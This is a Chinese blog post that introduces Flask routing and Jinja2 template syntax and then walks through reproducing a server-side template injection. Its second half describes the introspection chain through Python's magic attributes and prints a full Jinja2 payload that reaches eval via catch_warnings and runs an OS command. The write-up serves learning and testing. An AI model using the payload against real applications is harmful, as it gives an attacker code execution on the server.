Flask的特点

Part1：所有的flask应用在初始化时都必须创建程序实例，程序实例就是falsk的对象。falsk类只有一个必须指定的参数，即程序主模块或者包的名字。

Part2：客户端发送Url给Web服务器，服务器将Url转发给falsk程序实例。程序实例需要知道对于每一个Url请求启动哪一部分的代码。所以保存了一个Url和python函数的映射关系。处理url和函数之间关系的程序，叫做路由。在flask中，定义路由最简单的方法是使用程序实例的.route装饰器把装饰的函数注册为路由。

part3：程序实例用run方法启动falsk集成的开发web的服务器。name='main'是python常用的方法，表示只有直接启动脚本的时候才用run方法，如果是其他脚本调用脚本程序假定父级脚本会启用不同的服务器，因此不用执行app.run（）服务器启动后，会启动轮询，等待并处理请求。轮询会一直请求，直到程序停止。

Jinja2

jnja2是Flask作者开发的一个模板系统，起初是仿django模板的一个模板引擎，为Flask提供模板支持，由于其灵活，快速和安全等优点被广泛使用。

Jinja2中的特殊语句：

1.{%%} : 控制结构
2.{{}} : 变量取值。
3.{##} : 注释

思路

jinja2模板中使用{{ }}语法表示一个变量，他是一种特殊的占位符。当利用jinja2进行渲染时，他会把这些特殊的占位符进行填充/替换，jinja2支持python中所有的python数据类型。被两个括号包裹的内容会输出表达式的值，本次复现就是利用这个语句在{{}}中使用内置变量执行各种命令。

Jinja2 模板中可以访问一些 Python 内置变量，如[] {} 等，并且能够使用 Python 变量类型中的一些函数。加上python中的魔术方法，object类中的基本方法。结合这几个 我们可以 实现任意代码的执行。

寻找payload

__class__返回调用的参数类型。
__base__返回基类
__mro__允许我们在当前Python环境下追溯继承树
__subclasses__()返回子类

返回子类列表

**warning message可以调用__globals['builtins']，找到他的位置，165

调用eval，后面的（）可以执行任意代码

import os 成功

payload

url编码后使用

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %} for循环查找目标function，和上面的warning message一样可以调用builtins
  {% for b in c.__init__.__globals__.values() %} 
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }} os库里面的popen()方法，能够打开一个管道，获取输入到cmd控制台的信息
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

标签：__,.__,实例,Python,程序,python,flask,ssti,模板
来源： https://www.cnblogs.com/Stunmaker/p/14379353.html